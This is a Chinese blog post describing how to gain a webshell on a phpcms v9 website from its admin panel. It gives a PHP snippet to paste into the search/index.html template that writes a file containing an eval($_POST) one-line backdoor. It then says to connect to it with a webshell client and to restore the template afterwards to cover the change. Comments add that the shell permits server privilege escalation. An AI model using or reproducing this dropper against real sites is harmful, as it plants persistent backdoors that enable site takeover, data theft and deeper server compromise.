记一次phpcms v9后台拿shell过程

博主推荐【腾讯云】爆款2核2G云服务器首年40元

记一次phpcms v9后台拿shell过程

登录进入后台管理后,点击界面,模板风格,然后点击祥细列表,如下图:

phpcmsV9

然后点击 search 这个文件夹,如下图:

phpcms

然后点击修改 index.html 文件

然后把以下代码复制上去提交。

<?

$fp = @fopen(“qxz.php”, ‘a’);

@fwrite($fp, ‘<‘.’?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”);

@fclose($fp);

?>

提示:修改前先把原来的代码备份一下,拿到shell后把他改回去。

1259

提交后点击可视化一下

131117163330

这样在网站的根目录就生成了你的一句话木马客户端 qxz.php

拿起菜刀链接 http://www.xxx.com/qxz.php

0131117164105

 

原创文章转载请注明:转载自 七行者博客

本文固定链接: https://www.qxzxp.com/3945.html

记一次phpcms v9后台拿shell过程:目前有3 条留言

  1. 0楼
    chen123:

    我都进后台了,这拿shell有什么意义

    2018-11-16 11:20 [回复]
    • qxz_xp:

      shell的权限比后台的权限大多了,拿shell后可以提权服务器的

      2018-11-19 15:15 [回复]
  2. 0楼
    啊勇:

    我很喜欢这方面技术,但是我不会 求大神能带带我吗

    2013-11-24 11:10 [回复]

发表评论

1 + 9 =

快捷键:Ctrl+Enter